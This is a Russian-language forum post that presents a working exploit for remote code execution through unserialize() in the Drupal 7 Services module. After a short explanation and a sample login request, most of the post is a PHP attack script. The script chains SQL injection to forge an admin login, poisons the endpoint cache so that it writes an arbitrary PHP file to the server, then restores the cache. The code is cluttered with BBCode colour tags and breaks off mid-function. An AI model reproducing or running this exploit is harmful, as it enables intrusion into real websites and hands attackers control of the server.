|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
С нами:
10866626
Репутация:
4268
|
|
DRUPAL 7.X SERVICES MODULE UNSERIALIZE() TO RCE
Уязвимость
Одной из особенностей модуля является то, что можно управлять форматом ввода / вывода, изменяя заголовки Content-Type / Accept. По умолчанию разрешены следующие форматы ввода:
Application / xml
Application / json
Multipart / form-data
Application / vnd.php.serialized
Код:
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
Код:
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 14:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json
{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
Exploit:
PHP код:
[COLOR="#000000"]#!/usr/bin/php [COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'dixuSOspsOUU.php'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'' [/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$endpoint_path[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]# Stage 1: SQL Injection
[/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]DatabaseCondition [/COLOR][COLOR="#007700"]{ protected[/COLOR][COLOR="#0000BB"]$conditions[/COLOR][COLOR="#007700"]= [ [/COLOR][COLOR="#DD0000"]"#conjunction"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"AND" [/COLOR][COLOR="#007700"]]; protected[/COLOR][COLOR="#0000BB"]$arguments[/COLOR][COLOR="#007700"]= []; protected[/COLOR][COLOR="#0000BB"]$changed[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]; protected[/COLOR][COLOR="#0000BB"]$queryPlaceholderIdentifier[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]; public[/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];
public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"];
if(!isset([/COLOR][COLOR="#0000BB"]$stringVersion[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]changed[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stringVersion[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]; } } }
class[/COLOR][COLOR="#0000BB"]SelectQueryExtender[/COLOR][COLOR="#007700"]{ [/COLOR][COLOR="#FF8000"]# Contains a DatabaseCondition object instead of a SelectQueryInterface # so that $query->compile() exists and (string) $query is controlled by us. [/COLOR][COLOR="#007700"]protected[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];
protected[/COLOR][COLOR="#0000BB"]$uniqueIdentifier[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]QID[/COLOR][COLOR="#007700"]; protected[/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]; protected[/COLOR][COLOR="#0000BB"]$placeholder[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
public function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DatabaseCondition[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]); } }
[/COLOR][COLOR="#0000BB"]$cache_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"services:[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#DD0000"]:resources"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$sql_cache[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT data FROM {cache} WHERE cid='[/COLOR][COLOR="#0000BB"]$cache_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$password_hash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]# Take first user but with a custom password # Store the original password hash in signature_format, and endpoint cache # in signature [/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]= [/COLOR][COLOR="#DD0000"]"0x3a) UNION SELECT ux.uid AS uid, "[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"ux.name AS name, '[/COLOR][COLOR="#0000BB"]$password_hash[/COLOR][COLOR="#DD0000"]' AS pass, "[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"ux.mail AS mail, ux.theme AS theme, ([/COLOR][COLOR="#0000BB"]$sql_cache[/COLOR][COLOR="#DD0000"]) AS signature, "[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"ux.pass AS signature_format, ux.created AS created, "[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"ux.access AS access, ux.login AS login, ux.status AS status, "[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"ux.timezone AS timezone, ux.language AS language, ux.picture "[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"AS picture, ux.init AS init, ux.data AS data FROM {users} ux "[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#DD0000"]"WHERE ux.uid<>(0" [/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]SelectQueryExtender[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]= [[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'ouvreboite'[/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TYPE_PHP[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]# If this worked, the rest will as well [/COLOR][COLOR="#007700"]if(!isset([/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]print_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Failed to login with fake password"[/COLOR][COLOR="#007700"]); }
[/COLOR][COLOR="#FF8000"]# Store session and user data
[/COLOR][COLOR="#0000BB"]$session[/COLOR][COLOR="#007700"]= [ [/COLOR][COLOR="#DD0000"]'session_name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]session_name[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'session_id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]sessid[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'token'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]token [/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]store[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'session'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$session[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]# Unserialize the cached value # Note: Drupal websites admins, this is your opportunity to fight back :) [/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]# Reassign fields [/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature_format[/COLOR][COLOR="#007700"]; unset([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature[/COLOR][COLOR="#007700"]); unset([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]signature_format[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]store[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'user'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Unable to obtains endpoint's cache value"[/COLOR][COLOR="#007700"]); }
[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Cache contains "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]" entries"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]# Stage 2: Change endpoint's behaviour to write a shell
[/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]DrupalCacheArray [/COLOR][COLOR="#007700"]{ [/COLOR][COLOR="#FF8000"]# Cache ID [/COLOR][COLOR="#007700"]protected[/COLOR][COLOR="#0000BB"]$cid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"services:endpoint_name:resources"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#FF8000"]# Name of the table to fetch data from. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() [/COLOR][COLOR="#007700"]protected[/COLOR][COLOR="#0000BB"]$bin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'cache'[/COLOR][COLOR="#007700"]; protected[/COLOR][COLOR="#0000BB"]$keysToPersist[/COLOR][COLOR="#007700"]= []; protected[/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"]= [];
function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$settings[/COLOR][COLOR="#007700"]= [ [/COLOR][COLOR="#DD0000"]'services'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'resource_api_version'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'1.0'[/COLOR][COLOR="#007700"]] ]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]cid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"services:[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#DD0000"]:resources"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]# If no endpoint is given, just reset the original values [/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'actions'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]] = [ [/COLOR][COLOR="#DD0000"]'help'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Writes data to a file'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#FF8000"]# Callback function [/COLOR][COLOR="#DD0000"]'callback'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'file_put_contents'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#FF8000"]# This one does not accept "true" as Drupal does, # so we just go for a tautology [/COLOR][COLOR="#DD0000"]'access callback'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'is_string'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'access arguments'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'a string'[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#FF8000"]# Arguments given through POST [/COLOR][COLOR="#DD0000"]'args'[/COLOR][COLOR="#007700"]=> [ [/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]=> [ [/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'filename'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'string'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Path to the file'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'source'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'filename'[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'optional'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"], ], [/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]=> [ [/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'string'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'The data to write'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'source'[/COLOR][COLOR="#007700"]=> [[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]], [/COLOR][COLOR="#DD0000"]'optional'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"], ], ], [/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]=> [ [/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'inc'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'module'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'services'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'resources/user_resource'[/COLOR][COLOR="#007700"], ], [/COLOR][COLOR="#DD0000"]'endpoint'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$settings [/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'endpoint'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'actions'[/COLOR][COLOR="#007700"]] += [ [/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=> [ [/COLOR][COLOR="#DD0000"]'enabled'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'settings'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$settings [/COLOR][COLOR="#007700"]] ]; }
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]storage[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]keysToPersist[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_fill_keys[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]array_keys[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$storage[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]); } }
class[/COLOR][COLOR="#0000BB"]ThemeRegistry[/COLOR][COLOR="#007700"]Extends[/COLOR][COLOR="#0000BB"]DrupalCacheArray[/COLOR][COLOR="#007700"]{ protected[/COLOR][COLOR="#0000BB"]$persistable[/COLOR][COLOR="#007700"]; protected[/COLOR][COLOR="#0000BB"]$completeRegistry[/COLOR][COLOR="#007700"]; }
[/COLOR][COLOR="#0000BB"]cache_poison[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]# Write the file [/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]= (array)[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TYPE_JSON[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]json_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#FF8000"]# Stage 3: Restore endpoint's behaviour
[/COLOR][COLOR="#0000BB"]cache_reset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]);
if(!(isset([/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]] ===[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'data'[/COLOR][COLOR="#007700"]]))) { [/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Failed to write file."[/COLOR][COLOR="#007700"]); }
[/COLOR][COLOR="#0000BB"]$file_url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'filename'[/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"File written:[/COLOR][COLOR="#0000BB"]$file_url[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]# HTTP Browser
[/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]Browser [/COLOR][COLOR="#007700"]{ private[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]; private[/COLOR][COLOR="#0000BB"]$controller[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]CONTROLLER[/COLOR][COLOR="#007700"]; private[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ACTION[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]; }
function[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]= [ [/COLOR][COLOR="#DD0000"]"Accept: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TYPE_JSON[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"Content-Type:[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"Content-Length: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) ]; [/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]controller[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]action[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_URL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPHEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POSTFIELDS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYPEER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]);
